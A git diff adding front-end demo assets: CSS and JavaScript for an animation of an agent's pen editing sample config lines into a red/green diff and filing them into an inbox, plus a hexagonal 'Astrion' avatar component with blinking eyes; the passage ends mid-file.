+.diff-view.no-fade .dline::before { transition: none; } +.diff-view.no-fade .dsign { transition: none; } + +/* ───────── 收盒文件卡片(单元素裁切式 genie) ───────── + 卡片全程同一个 DOM 元素:clip-path 多边形裁切(不压缩内容), + body 每帧定位到轮廓包围盒,文字矢量缩小——全程清晰无损 */ +.file-flight { + position: absolute; + pointer-events: none; + opacity: 0; + transition: opacity 0.45s ease; + /* SVG 视口默认 hidden 会把描边外半侧(0.5px)裁掉——visible 让边缘描边完整 */ + overflow: visible; +} +.file-flight.is-on { opacity: 1; } +/* SVG 卡片:path 轮廓即卡片外形——fill 纸色 + stroke 描边跟随轮廓(S 曲线斜边也有描边) */ +.file-flight-shape { + fill: var(--file-paper); + stroke: var(--file-line); + stroke-width: 1; +} +.file-cover-name { + font-family: var(--font-mono); + font-size: 15px; + letter-spacing: 0.02em; + fill: var(--text-3); /* 和纸上线条同色 */ +} +.file-cover-stat { + font-family: var(--font-mono); + font-size: 11px; +} +.file-cover-stat .add { fill: var(--ok); } +.file-cover-stat .del { fill: var(--danger); } + +.dline { + position: relative; + display: flex; + gap: 12px; + padding: 3px 10px; + border-radius: 4px; + /* 容器本身始终不透明:转正落位的字符立即可见,不经历消失→淡入; + 红/绿底色由 ::before 独立淡入,+/- 符号独立淡入 */ + white-space: nowrap; +} +.dline::before { + content: ''; + position: absolute; + inset: 0; + border-radius: 4px; + opacity: 0; + transition: opacity 0.3s ease; + pointer-events: none; +} +.dline.is-del::before { background: rgba(212, 123, 107, 0.08); } +.dline.is-add::before { background: rgba(123, 168, 137, 0.10); } +.dline.is-shown::before { opacity: 1; } +.dline .dsign { flex: none; width: 10px; opacity: 0; transition: opacity 0.3s ease; } +.dline.is-shown .dsign { opacity: 1; } +.dline.is-del { color: var(--danger); } +.dline.is-add { color: var(--ok); } + +/* diff 行内单字符:占位时透明;落位转正后 is-lit 实色显示 */ +.dch { opacity: 0; } +.dch.is-lit { opacity: 1; } + +/* 飘行的字母:从笔的擦/写位置飞向 diff 行字符位,落位后转正为流内字符 */ +.dch-ghost { + position: absolute; + left: 0; + top: 0; + font-family: var(--font-mono); + font-size: 12.5px; + line-height: 1.5; + pointer-events: none; + /* 不设 will-change:合成层位图与转正后的矢量重绘之间会出现大小/清晰度跳变 */ + transition: transform 0.34s cubic-bezier(.35,.1,.25,1); + z-index: 35; /* 高于盒前壁(30),飞行字母不被盒子挡 */ +} + +/* 参考点(校准期红色可见,校准后改回透明) */ +/* 笔尖/橡皮定位参考点:visibility 隐藏(保留几何盒供 getBoundingClientRect 实测), + 同时清掉 fill/stroke 防止从 SVG 根继承描边显形 */ +.pen-ref { visibility: hidden; fill: none; stroke: none; pointer-events: none; } + +/* ───────── 收件箱(genie 收盒) ───────── + 后壁 z1(纸挡住它)、前壁 z4(它挡住纸)——纸从前后壁之间沉入 */ +.inbox-part { + position: absolute; + left: 86px; /* 中心线 x=134 */ + top: 166px; + width: 96px; + height: 96px; + color: var(--text-1); + opacity: 0; + transition: opacity 0.35s ease; + pointer-events: none; +} +.inbox-part.is-shown { opacity: 1; } +.box-back { z-index: 10; } +.box-front { z-index: 30; } +/* 前壁盒身填实色:不能透出后面收进去的纸(凹口线保持描边不填) */ +.box-front path { fill: var(--bg-1); } +/* 盒内纸叠:genie 终态的文件卡片(.file-flight)本身就是插在盒子里的纸 */ diff --git a/demo/site-assets/anim3-demo.js b/demo/site-assets/anim3-demo.js new file mode 100644 index 0000000..6894e6e --- /dev/null +++ b/demo/site-assets/anim3-demo.js @@ -0,0 +1,552 @@ +/* 修改记录动画 —— 智能体持笔在 3D 倾斜纸上改写内容, + * 笔尖始终对准线条进度点(逐帧同步),笔以笔尖为圆心摇摆; + * 纸摊平后绿行抽出展开为红绿 diff。自动播放,点击场景重播。 + */ + +(function () { + 'use strict'; + + var stage = document.getElementById('anim3Stage'); + var paper = document.getElementById('paper'); + var penPos = document.getElementById('penPos'); + var pen = document.getElementById('writerPen'); + var boxBack = document.getElementById('boxBack'); + var boxFront = document.getElementById('boxFront'); + var diffView = document.getElementById('diffView'); + var lines = Array.prototype.slice.call(paper.querySelectorAll('.pline')); + var dlines = Array.prototype.slice.call(diffView.querySelectorAll('.dline')); + + // 挂载六边形眼睛(眨眼 + 追踪) + if (window.AstrionAvatar) { + AstrionAvatar.mount(document.getElementById('writerAvatar'), { mode: 'idle', blink: true, track: true }); + } + + var gen = 0; + + /* 笔尖/橡皮的精确位置不再手调像素: + * SVG 内放了两个隐形参考点(penNibRef / penEraserRef), + * 运行时 getBoundingClientRect 实测其渲染位置做补偿—— + * 无论笔怎么旋转/摇摆,作用点都精确钉在目标上。 */ + var nibRef = document.getElementById('penNibRef'); + var eraserRef = document.getElementById('penEraserRef'); + var penTx = 0, penTy = 0; + + /* 笔的初始位(被智能体拿着):笔尖所在点,笔身斜跨六边形 */ + var PEN_HOME = { x: 456, y: 94 }; + + function sleep(ms) { + return new Promise(function (r) { setTimeout(r, ms); }); + } + + async function step(ms, myGen) { + await sleep(ms); + if (myGen !== gen) throw new Error('cancelled'); + } + + function el(tag, cls) { + var e = document.createElement(tag); + if (cls) e.className = cls; + return e; + } + + function stageRect() { return stage.getBoundingClientRect(); } + + /* 缓动 */ + function easeOut(p) { return 1 - (1 - p) * (1 - p); } + function easeInOut(p) { return p < 0.5 ? 2 * p * p : 1 - 2 * (1 - p) * (1 - p); } + + /* rAF 逐帧驱动(返回 false/取消时提前结束) */ + function tween(ms, fn, myGen) { + return new Promise(function (resolve) { + var t0 = performance.now(); + function tick(now) { + if (myGen !== gen) { resolve(); return; } + var p = Math.min((now - t0) / ms, 1); + fn(p); + if (p >= 1) { resolve(); return; } + requestAnimationFrame(tick); + } + requestAnimationFrame(tick); + }); + } + + function setPen(x, y) { + penTx = x; penTy = y; + penPos.style.transform = 'translate(' + x.toFixed(1) + 'px,' + y.toFixed(1) + 'px)'; + } + + /* 手动微调(css px):数据对准后仍有轻微视觉偏差时在这里调,用户肉眼验收 */ + var NIB_TWEAK = { x: 0, y: -1.8 }; + var ERASER_TWEAK = { x: 0, y: 0 }; + + /* 把参考点精确移到舞台坐标 (x, y):实测当前位置,差值补偿到外层 translate,一次收敛 */ + function refTo(refEl, x, y, sr) { + var r = refEl.getBoundingClientRect(); + var cx = r.left + r.width / 2 - sr.left; + var cy = r.top + r.height / 2 - sr.top; + setPen(penTx + (x - cx), penTy + (y - cy)); + } + function nibTo(x, y, sr) { refTo(nibRef, x + NIB_TWEAK.x, y + NIB_TWEAK.y, sr); } + function eraserTo(x, y, sr) { refTo(eraserRef, x + ERASER_TWEAK.x, y + ERASER_TWEAK.y, sr); } + + /* 行右端进度点的舞台坐标:倾斜线的包围盒中心≠真实右端点, + * 用线内右端锚点(.pline-end)的实测位置,兼容 3D 透视 + rotZ 倾斜 */ + function lineTip(line, sr) { + var r = line.querySelector('.pline-end').getBoundingClientRect(); + return { x: r.left + r.width / 2 - sr.left, y: r.top + r.height / 2 - sr.top }; + } + function nibToLineTip(line, sr) { + var t = lineTip(line, sr); + nibTo(t.x, t.y, sr); + } + + /* 三轮内容:Dockerfile / Python / TS,不全是一种代码; + 纸上横线长度 ≈ 对应行字符数(~2.3%/字符)——线长与内容长短一致; + file/tone:收盒前渐变覆盖的文件卡(红/黄/绿,露出一截即可分辨)。 */ + var ROUNDS = [ + { + file: 'Docker', + paperW: [34, 26, 59, 44], + edits: [ + { newW: 26, del: 'EXPOSE 8080', add: 'EXPOSE 8091' }, + /* 最长行 26 字符(≈237px 宽):diff 左缘保持在 stage 内(>15px),否则左缘描边被 stage 裁掉 */ + { newW: 53, del: 'CMD ["python", "server.py"]', add: 'CMD ["python", "main.py"]' } + ] + }, + { + file: 'api.py', + paperW: [56, 35, 46, 30], + edits: [ + { newW: 35, del: 'MAX_RETRIES = 3', add: 'MAX_RETRIES = 5' }, + { newW: 46, del: 'request_timeout = 30', add: 'request_timeout = 60' } + ] + }, + { + file: 'theme.ts', + paperW: [46, 30, 66, 58], + edits: [ + { newW: 37, del: "theme: 'dark'", add: "theme: 'classic'" }, + { newW: 66, del: 'fontSize: 13, lineHeight: 1.4', add: 'fontSize: 14, lineHeight: 1.6' } + ] + } + ]; + /* 盒内纸堆叠透视(按盒子 SVG 侧边斜率 dx/dy=0.5 推导:每向深处 1px 两侧共收 1px): + 每往里一张纸,顶边抬高 ~10px、宽度按侧边角度同步收窄、只露出顶部一截。 + topY/bottomY 为 stage 坐标,wRatio 为相对盒子图标宽的比例。 */ + /* 等比透视:三张文件本身差不多高,随深度每层缩 ~8%(与宽度收敛同比率); + 底边都落在盒口附近(194/183/172)——每张收进去的瞬间都是真的插进盒子,不悬空; + 顶边各露 5px(底边落差 11px - 高度缩 6px ≈ 5px) */ + /* 等比透视:三张文件本身差不多高,随深度略缩;底边都落在盒口附近—— + 每张收进去的瞬间都是真的插进盒子,不悬空;顶边各露 5px。 + (坐标基于盒子下移 50px 后:盒口 y=224) */ + var FILED_SPECS = [ + { topY: 182, bottomY: 234, wRatio: 0.66 }, /* 最前:高 52,最宽、最低、贴前壁 */ + { topY: 177, bottomY: 223, wRatio: 0.608 }, /* 中间:高 46 */ + { topY: 172, bottomY: 212, wRatio: 0.556 } /* 最里:高 40,底边在盒口线上 */ + ]; + + /* diff 行拆成单字符(初始透明占位),擦/写时字母逐个从笔处飘入落位。 + 落位的 ghost 会转正替换占位符成为流内正式字符,reset 时重建占位 */ + var dlineTexts = []; + function setDiffTexts(r) { + var e = ROUNDS[r].edits; + dlineTexts = [e[0].del, e[0].add, e[1].del, e[1].add]; + } + setDiffTexts(0); + var dlineChars = dlines.map(function () { return []; }); + function buildDlineChars() { + dlines.forEach(function (d, di) { + var t = d.querySelector('.dtext'); + t.textContent = ''; + dlineChars[di] = []; + for (var i = 0; i < dlineTexts[di].length; i++) { + var c = el('span', 'dch'); + /* 空格用不换行空格:普通空格 span 会塌缩成 0 宽/高度异常,落点歪斜 */ + c.textContent = dlineTexts[di][i] === ' ' ? ' ' : dlineTexts[di][i]; + t.appendChild(c); + dlineChars[di].push(c); + } + }); + } + buildDlineChars(); + + /* 一个字母从舞台 (x0,y0)(笔的擦/写位置)飘到 diff 行目标字符位。 + 落位后转正:替换占位符成为流内正式字符——genie 收纸时文字随纸一起变形; + 首个落位字符触发行容器(红/绿底色)淡入:底色与文字同步,不先于文字出现 */ + function flyChar(x0, y0, chSpan, sr, myGen) { + var to = chSpan.getBoundingClientRect(); + var g = el('span', 'dch-ghost'); + g.textContent = chSpan.textContent; + g.style.color = getComputedStyle(chSpan).color; + g.style.transform = 'translate(' + (x0 - 3).toFixed(1) + 'px,' + (y0 - 8).toFixed(1) + 'px)'; + stage.appendChild(g); + void g.offsetWidth; /* 起始位定格后再设终点,保证过渡触发 */ + g.style.transform = 'translate(' + (to.left - sr.left).toFixed(1) + 'px,' + (to.top - sr.top).toFixed(1) + 'px)'; + g.addEventListener('transitionend', function handler() { + g.removeEventListener('transitionend', handler); + if (myGen !== gen) { g.parentNode && g.parentNode.removeChild(g); return; } + /* 飞行过渡真正结束后转正:清掉行内样式、换成流内字符 class、替换占位符,同帧完成无跳变 */ + g.style.cssText = ''; + g.className = 'dch is-lit'; + var row = chSpan.parentNode; /* .dtext */ + var dline = row.parentNode; /* .dline */ + row.replaceChild(g, chSpan); + /* 第一个字符到位,该行的红绿背景与 +/- 符号即浮现(后续字符陆续落位在已有底色的行里) */ + dline.classList.add('is-shown'); + }); + } + + function applyWidths() { + lines.forEach(function (l) { + l.style.width = l.dataset.w + '%'; + }); + } + + function reset() { + gen += 1; + pen.classList.remove('is-writing'); + penPos.classList.remove('is-live'); + lines.forEach(function (l) { + l.classList.remove('is-new'); + l.style.opacity = ''; + }); + lines.forEach(function (l, i) { l.dataset.w = ROUNDS[0].paperW[i]; }); + applyWidths(); + setDiffTexts(0); + diffView.classList.add('no-fade'); /* 重播重置同样禁用过渡,防红绿块淡出闪现 */ + dlines.forEach(function (d) { d.classList.remove('is-shown'); }); + Array.prototype.slice.call(stage.querySelectorAll('.dch-ghost')).forEach(function (g) { g.parentNode.removeChild(g); }); + buildDlineChars(); /* 落位字符已转正为流内文本,重播前重建透明占位 */ + Array.prototype.slice.call(stage.querySelectorAll('.file-flight')).forEach(function (g) { g.parentNode.removeChild(g); }); + diffView.style.clipPath = ''; + diffView.style.transform = ''; + diffView.style.transformOrigin = ''; + diffView.style.opacity = ''; + diffView.style.visibility = ''; + diffView.classList.remove('is-sheet'); + void diffView.offsetWidth; + diffView.classList.remove('no-fade'); + /* 收件箱始终显示,不在重置时隐藏 */ + pen.classList.remove('is-erasing'); + pen.style.transform = ''; + penPos.classList.add('is-live'); /* 重置瞬移,不起飞行动画 */ + nibTo(PEN_HOME.x, PEN_HOME.y, stageRect()); + void penPos.offsetWidth; /* 强制样式计算:让 transform 在 transition:none 下定格,避免移除 is-live 后触发回退过渡 */ + penPos.classList.remove('is-live'); + } + + /* 改写一行:笔尖飞到旧行末端 → 翻转 180° 露出橡皮 → 橡皮小幅度晃动擦掉(线缩短,橡皮跟随)→ 翻回行首 → 绿行从笔尖长出 */ + async function rewriteLine(line, newW, delDline, addDline, myGen) { + var sr = stageRect(); + var oldW = parseFloat(line.dataset.w); + + // 1) 飞到该行旧内容末端(笔尖对准线右端,过渡飞行) + penPos.classList.remove('is-live'); + nibToLineTip(line, sr); + await step(430, myGen); + + // 2) 倒笔:先平滑平移换端(笔尖→橡皮,JS tween 驱动,无瞬移),再绕橡皮翻转 180° + // (同步块内连续 setPen 不触发渲染,借此算出平移的精确起止 translate) + pen.classList.add('is-erasing'); + penPos.classList.add('is-live'); + var t0 = lineTip(line, sr); + var fromX = penTx, fromY = penTy; + eraserTo(t0.x, t0.y, sr); /* 算出橡皮贴线的目标 translate */ + var toX = penTx, toY = penTy; + setPen(fromX, fromY); /* 设回起点,同一同步块内不渲染 */ + await tween(280, function (p) { + var e = easeInOut(p); + setPen(fromX + (toX - fromX) * e, fromY + (toY - fromY) * e); + }, myGen); + + // 3) 翻转 180°:绕橡皮平滑转动,期间橡皮始终钉在线右端 + await tween(300, function (p) { + pen.style.transform = 'rotate(' + (easeInOut(p) * 180).toFixed(1) + 'deg)'; + var t = lineTip(line, sr); + eraserTo(t.x, t.y, sr); + }, myGen); + + // 4) 擦除:线缩短,橡皮跟随右端;笔小幅晃动;字母随擦除从橡皮处逐个飘向左侧红行(从右往左) + // 时长与行长成正比(等速擦除);行容器(红底)随首个落位字符出现 + var delChars = dlineChars[dlines.indexOf(delDline)]; + var dN = delChars.length; + var nextDel = dN - 1; + var eraseMs = Math.round(oldW * 7); + await tween(eraseMs, function (p) { + line.style.width = (oldW * (1 - easeInOut(p))) + '%'; + var wob = Math.sin(p * Math.PI * 4) * 7; // 两个来回,±7° + pen.style.transform = 'rotate(' + (180 + wob).toFixed(1) + 'deg)'; + var t = lineTip(line, sr); + eraserTo(t.x, t.y, sr); + while (nextDel >= 0 && p >= (dN - nextDel) / (dN + 1)) { + flyChar(t.x, t.y, delChars[nextDel], sr, myGen); + nextDel--; + } + }, myGen); + + // 5) 翻回 0°:origin 仍在笔尾,橡皮钉在行首(线宽已 0,右端即行首); + // 转回 0° 后移除 is-erasing,origin 切回笔尖无跳变 + var home = lineTip(line, sr); + await tween(280, function (p) { + pen.style.transform = 'rotate(' + (180 * (1 - easeInOut(p))).toFixed(1) + 'deg)'; + eraserTo(home.x, home.y, sr); + }, myGen); + pen.classList.remove('is-erasing'); + pen.style.transform = ''; + + // 6) 写上绿色新内容:笔尖跟随右端,is-writing 摇摆;字母随书写从笔尖逐个飘向左侧绿行(从左往右) + penPos.classList.remove('is-live'); + nibTo(home.x, home.y, sr); + await step(320, myGen); + /* 写入行不变色(修改记录靠 diff 区表达,纸面行保持同色) */ + pen.classList.add('is-writing'); + penPos.classList.add('is-live'); + var addChars = dlineChars[dlines.indexOf(addDline)]; + var aN = addChars.length; + var nextAdd = 0; + var writeMs = Math.round(newW * 7); // 时长与行长成正比(等速书写) + await tween(writeMs, function (p) { + line.style.width = (newW * easeOut(p)) + '%'; + nibToLineTip(line, sr); + while (nextAdd < aN && p >= (nextAdd + 0.5) / aN) { + var t2 = lineTip(line, sr); + flyChar(t2.x, t2.y, addChars[nextAdd], sr, myGen); + nextAdd++; + } + }, myGen); + pen.classList.remove('is-writing'); + } + + /* genie 收盒 · 裁切式:文件卡片始终是同一个 DOM 元素,不切片、不缩放内容—— + 每帧把 S 曲线轮廓(底部先收窄、侧边弧线、顶部后动)算成 clip-path 多边形, + 裁掉轮廓外的部分(裁切不压缩,内容全程原样清晰); + body(底色+边框+文字)每帧定位到轮廓包围盒,文字随收窄矢量缩小字号; + 终态轮廓恰好是插在盒口的小矩形,元素原地成为堆叠的一张,无替换无跳变。 */ + async function genieIntoBox(myGen, r, flight) { + var shape = flight.querySelector('.file-flight-shape'); + var name = flight.querySelector('.file-cover-name'); + var stat = flight.querySelector('.file-cover-stat'); + var sr = stageRect(); + var br = boxBack.getBoundingClientRect(); + var px = +flight.dataset.px, py = +flight.dataset.py; + var W = +flight.dataset.w, H = +flight.dataset.h; + /* 盒口中心(stage 坐标):图标 y=12/24 处为盒口前缘线 */ + var mouthX = br.left + br.width / 2 - sr.left; + /* 收盒顺序 3→2→1:第一轮收最里面,最后一轮收最前(后收的挡先收的) */ + var spec = FILED_SPECS[FILED_SPECS.length - 1 - r]; + var sinkY = spec.bottomY - (py + H); + var centerDx = mouthX - (px + W / 2); + var minS = (br.width * spec.wRatio) / W; + var compressH = spec.topY - py - sinkY; + flight.style.height = (H + sinkY + 20) + 'px'; /* SVG 视口加高覆盖下降路径 */ + + /* 交错相位运动(同一套数学):底部先动先快,顶部延迟—— + 每帧把轮廓直接画成 path(fill 纸色 + stroke 描边跟随 S 曲线) */ + /* 侧边采样 72 段(≈1.6px/段):折线足够密,S 曲线侧边平滑无锯齿 */ + var N = 72; + var totalMs = 1500; + var sliceMs = 950; + var maxDelay = totalMs - sliceMs; + var lastBox = { x: 0, y: 0, w: W, h: H }; + var RR = 3.5; /* 运动期四角圆角半径(与封面/终态 roundedRectD 一致,无圆直跳变) */ + await tween(totalMs, function (p) { + var now = p * totalMs; + var L = [], R = []; + var minX = 1e9, maxX = -1e9, minY = 1e9, maxY = -1e9; + for (var i = 0; i < N; i++) { + var v = (i + 0.5) / N; + var start = (1 - v) * maxDelay; + var q = Math.min(Math.max((now - start) / sliceMs, 0), 1); + var e = easeInOut(q); + var sx = 1 - (1 - minS) * e; + var ty = (sinkY + (1 - v) * compressH) * e; + var tx = centerDx * e; + var lw = W * sx; + var lx = (W - lw) / 2 + tx, rx = lx + lw; + var yt = i * H / N + ty, yb = (i + 1) * H / N + ty; + L.push([lx, yt], [lx, yb]); + R.push([rx, yt], [rx, yb]); + if (lx < minX) minX = lx; + if (rx > maxX) maxX = rx; + if (yt < minY) minY = yt; + if (yb > maxY) maxY = yb; + } + /* 拼圆角多边形:顶/底边内缩 RR,四角 Q 贝塞尔过渡(控制点=角点); + 侧边仍是 72 段平滑折线 */ + var f = function (n) { return n.toFixed(1); }; + var lt = L[0], lb0 = L[1], rt = R[0], rb0 = R[1]; + var rbN = R[(N - 1) * 2 + 1], lbN = L[(N - 1) * 2 + 1]; + var d = 'M' + f(lt[0] + RR) + ',' + f(lt[1]); + d += ' L' + f(rt[0] - RR) + ',' + f(rt[1]); + d += ' Q' + f(rt[0]) + ',' + f(rt[1]) + ' ' + f(rb0[0]) + ',' + f(rb0[1]); /* 右上 */ + for (var i = 1; i < N - 1; i++) { + d += ' L' + f(R[i * 2][0]) + ',' + f(R[i * 2][1]); + d += ' L' + f(R[i * 2 + 1][0]) + ',' + f(R[i * 2 + 1][1]); + } + d += ' Q' + f(rbN[0]) + ',' + f(rbN[1]) + ' ' + f(rbN[0] - RR) + ',' + f(rbN[1]); /* 右下 */ + d += ' L' + f(lbN[0] + RR) + ',' + f(lbN[1]); /* 底边 */ + d += ' Q' + f(lbN[0]) + ',' + f(lbN[1]) + ' ' + f(L[(N - 1) * 2][0]) + ',' + f(L[(N - 1) * 2][1]); /* 左下 */ + for (var j = N - 2; j >= 1; j--) { + d += ' L' + f(L[j * 2 + 1][0]) + ',' + f(L[j * 2 + 1][1]); + d += ' L' + f(L[j * 2][0]) + ',' + f(L[j * 2][1]); + } + d += ' L' + f(lb0[0]) + ',' + f(lb0[1]); /* 段0左下 */ + d += ' Q' + f(lt[0]) + ',' + f(lt[1]) + ' ' + f(lt[0] + RR) + ',' + f(lt[1]) + ' Z'; /* 左上闭合 */ + shape.setAttribute('d', d); + /* 文字随轮廓中心移动、矢量缩小字号。 + font-size 必须内联 style:presentation attribute 优先级低于 CSS 规则,会被压住 */ + var cx = (minX + maxX) / 2, cy = (minY + maxY) / 2; + var sc = (maxX - minX) / W; + /* 字号双保险:随收窄等比缩,且不超过卡片宽能放下的上限(mono 字宽 ≈0.62em) */ + var fsFit = (maxX - minX) * 0.88 / (name.textContent.length * 0.62); + var fs1 = Math.min(Math.max(15 * sc, 7), fsFit); + var fs2 = Math.max(11 * sc, 7); + name.setAttribute('x', cx); + name.setAttribute('y', cy - 2); + name.style.fontSize = fs1.toFixed(1) + 'px'; + stat.setAttribute('x', cx); + stat.setAttribute('y', cy + fs2 + 2); + stat.style.fontSize = fs2.toFixed(1) + 'px'; + lastBox.x = minX; lastBox.y = minY; lastBox.w = maxX - minX; lastBox.h = maxY - minY; + }, myGen); + /* 终态:换回圆角矩形 path(描边+圆角完整),元素留在盒口成为堆叠的一张 */ + shape.setAttribute('d', roundedRectD(lastBox.x, lastBox.y, lastBox.w, lastBox.h, 3.5)); + } + + /* SVG 工具:SVG 元素必须用 createElementNS 创建(createElement 建的不渲染) */ + var SVG_NS = 'http://www.w3.org/2000/svg'; + function svgEl(tag, cls) { + var e = document.createElementNS(SVG_NS, tag); + if (cls) e.setAttribute('class', cls); + return e; + } + + /* 圆角矩形 path(初始封面与终态卡片用;genie 期间为直边多边形) */ + function roundedRectD(x, y, w, h, r) { + return 'M' + (x + r) + ',' + y + + ' L' + (x + w - r) + ',' + y + + ' A' + r + ',' + r + ' 0 0 1 ' + (x + w) + ',' + (y + r) + + ' L' + (x + w) + ',' + (y + h - r) + + ' A' + r + ',' + r + ' 0 0 1 ' + (x + w - r) + ',' + (y + h) + + ' L' + (x + r) + ',' + (y + h) + + ' A' + r + ',' + r + ' 0 0 1 ' + x + ',' + (y + h - r) + + ' L' + x + ',' + (y + r) + + ' A' + r + ',' + r + ' 0 0 1 ' + (x + r) + ',' + y + ' Z'; + } + + /* 收盒前:文件卡片(SVG:path 纸色+描边,text 文件名+统计)渐变出现, + diff 内容直接消失;卡片是 SVG 单元素——描边跟随 path 轮廓(S 曲线斜边也有) */ + async function showFileCover(r, myGen) { + var sr = stageRect(); + var pr = diffView.getBoundingClientRect(); + var px = pr.left - sr.left, py = pr.top - sr.top; + var W = pr.width, H = pr.height; + var flight = svgEl('svg', 'file-flight'); + flight.style.left = px + 'px'; + flight.style.top = py + 'px'; + flight.style.width = W + 'px'; + flight.style.height = H + 'px'; + /* 创建即设层级(先收最里 21,后收在前):封面期就必须在 diffView(z20) 之上 */ + flight.style.zIndex = String(21 + r); + flight.dataset.px = px; flight.dataset.py = py; + flight.dataset.w = W; flight.dataset.h = H; + var shape = svgEl('path', 'file-flight-shape'); + shape.setAttribute('d', roundedRectD(0, 0, W, H, 3.5)); + var name = svgEl('text', 'file-cover-name'); + name.setAttribute('x', W / 2); + name.setAttribute('y', H / 2 - 3); + name.setAttribute('text-anchor', 'middle'); + name.textContent = ROUNDS[r].file; + var stat = svgEl('text', 'file-cover-stat'); + stat.setAttribute('x', W / 2); + stat.setAttribute('y', H / 2 + 14); + stat.setAttribute('text-anchor', 'middle'); + var add = svgEl('tspan', 'add'); add.textContent = '+2'; + var del = svgEl('tspan', 'del'); del.textContent = ' -2'; + stat.appendChild(add); + stat.appendChild(del); + flight.appendChild(shape); + flight.appendChild(name); + flight.appendChild(stat); + stage.appendChild(flight); + getComputedStyle(flight).opacity; /* getBoundingClientRect 只算几何不重算样式;getComputedStyle 才强制样式计算,定格 opacity 0 */ + flight.classList.add('is-on'); + await step(520, myGen); /* 等封面渐变动画完全结束 */ + diffView.style.visibility = 'hidden'; /* 封面完全出现后,背后的 diff 瞬间消失 */ + return flight; + } + + /* 下轮 diff 内容就位:no-fade 禁用过渡——移除 is-shown 与恢复显示若同帧, + 红绿底色会以 0.3s 淡出形式闪一下(有底色无文字);禁用后瞬时消失,无残影 */ + function resetDiffForRound(r) { + setDiffTexts(r); + diffView.classList.add('no-fade'); + dlines.forEach(function (d) { d.classList.remove('is-shown'); }); + diffView.classList.remove('is-sheet'); + buildDlineChars(); + diffView.style.visibility = ''; + diffView.style.opacity = ''; /* 恢复渐隐前的可见(no-fade 下瞬间生效,无闪) */ + void diffView.offsetWidth; /* 强制样式计算:无过渡状态定格后再恢复过渡 */ + diffView.classList.remove('no-fade'); + } + + /* 纸上复现新一轮 4 行内容(长短不一):旧行淡出 → 换行宽 → 淡入 */ + async function refillPaper(r, myGen) { + paper.classList.add('is-refilling'); + await step(300, myGen); + lines.forEach(function (l, i) { + l.classList.remove('is-new'); + l.dataset.w = ROUNDS[r].paperW[i]; + }); + applyWidths(); + paper.classList.remove('is-refilling'); + await step(400, myGen); + } + + async function play() { + var myGen = ++gen; + try { + for (var r = 0; r < ROUNDS.length; r++) { + // 0) 首轮等待开场;后续轮先展示盒内堆叠片刻,再在纸上复现新内容 + if (r > 0) { + await step(520, myGen); + await refillPaper(r, myGen); + } else { + await step(650, myGen); + } + + // 1) 笔飞到纸上,先后改写第 2、3 行;擦旧行时红行 - 飘出,写新行时绿行 + 飘出(diff 实时构建) + await rewriteLine(lines[1], ROUNDS[r].edits[0].newW, dlines[0], dlines[1], myGen); + await rewriteLine(lines[2], ROUNDS[r].edits[1].newW, dlines[2], dlines[3], myGen); + + // 2) 笔飞回智能体右侧 + penPos.classList.remove('is-live'); + nibTo(PEN_HOME.x, PEN_HOME.y, stageRect()); + await step(500, myGen); + + // 3) 收件箱始终显示(页面加载即在,无淡入步骤) + + // 4) 文件卡片渐变出现(diff 内容直接消失)→ genie 裁切收进盒子(先收最里,再依次向前) + var flight = await showFileCover(r, myGen); + await genieIntoBox(myGen, r, flight); + + // 5) 为下一轮重建 diff 区(末轮保留收盒终态) + if (r < ROUNDS.length - 1) resetDiffForRound(r + 1); + } + } catch (e) { + if (e && e.message !== 'cancelled') throw e; + } + } + + stage.addEventListener('click', function () { + reset(); + play(); + }); + + applyWidths(); + penPos.classList.add('is-live'); /* 初始就位瞬移 */ + nibTo(PEN_HOME.x, PEN_HOME.y, stageRect()); + void penPos.offsetWidth; /* 强制样式计算后再恢复过渡 */ + penPos.classList.remove('is-live'); + play(); +})(); diff --git a/demo/site-assets/astrion-avatar.css b/demo/site-assets/astrion-avatar.css new file mode 100644 index 0000000..cdaef8d --- /dev/null +++ b/demo/site-assets/astrion-avatar.css @@ -0,0 +1,47 @@ +/* Astrion 品牌形象组件 —— 六边形 + 双眼 + * 参数精确还原 static/src/components/avatar/StatusAvatar.vue: + * viewBox 0 0 200 200,flat-top 圆角正六边形 + * idle 态:外框 stroke-width 12,眼睛 stroke-width 10,全部 currentColor + * 眼睛竖线位于 (84,96) / (116,96),长 22 + * 颜色永远跟随上下文文字色(currentColor),禁止单独上色。 + */ + +.astrion-avatar { + display: block; + color: inherit; + overflow: visible; +} + +.aa-frame { + fill: none; + stroke: currentColor; + stroke-width: 12; + stroke-linecap: round; + stroke-linejoin: round; +} + +.aa-eye { + fill: none; + stroke: currentColor; + stroke-width: 10; + stroke-linecap: round; + stroke-linejoin: round; +} + +/* 思考表情:三个波浪圆点(r=7,位于 80/100/120) */ +.aa-think-dot { + fill: currentColor; + animation: aa-think-wave 1.6s ease-in-out infinite; +} +.aa-think-dot:nth-child(1) { animation-delay: -0.48s; } +.aa-think-dot:nth-child(2) { animation-delay: -0.32s; } +.aa-think-dot:nth-child(3) { animation-delay: -0.16s; } + +@keyframes aa-think-wave { + 0%, 100% { transform: translateY(0); } + 50% { transform: translateY(-12px); } +} + +@media (prefers-reduced-motion: reduce) { + .aa-think-dot { animation: none; } +} diff --git a/demo/site-assets/astrion-avatar.js b/demo/site-assets/astrion-avatar.js new file mode 100644 index 0000000..c85d86b --- /dev/null +++ b/demo/site-assets/astrion-avatar.js @@ -0,0 +1,165 @@ +/* Astrion 品牌形象组件 —— 渲染 + 眨眼 + 鼠标追踪 + * + * 用法: + * AstrionAvatar.mount(el, { mode: 'idle' | 'think', blink: true, track: true }) + * + * idle 模式:竖线双眼,随机眨眼,眼睛组随鼠标方向轻微偏移。 + * think 模式:三个波浪圆点(不追踪、不眨眼)。 + */ + +(function () { + 'use strict'; + + var SVG_NS = 'http://www.w3.org/2000/svg'; + + // —— 精确还原 StatusAvatar.vue 的几何参数 —— + var FRAME_PATH = + 'M 175.959,107.000 Q 180.000,100.000 175.959,93.000 ' + + 'L 144.041,37.718 Q 140.000,30.718 131.917,30.718 ' + + 'L 68.083,30.718 Q 60.000,30.718 55.959,37.718 ' + + 'L 24.041,93.000 Q 20.000,100.000 24.041,107.000 ' + + 'L 55.959,162.282 Q 60.000,169.282 68.083,169.282 ' + + 'L 131.917,169.282 Q 140.000,169.282 144.041,162.282 Z'; + + // 眼睛 path 的 18 个数字:M a,b Q c,d e,f Q g,h i,j Q k,l m,n Q o,p q,r + var EYE_IDLE = [0, -11, 0, -5.5, 0, 0, 0, 5.5, 0, 11, 0, 5.5, 0, 0, 0, -5.5, 0, -11]; + var EYE_BLINK = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]; + var 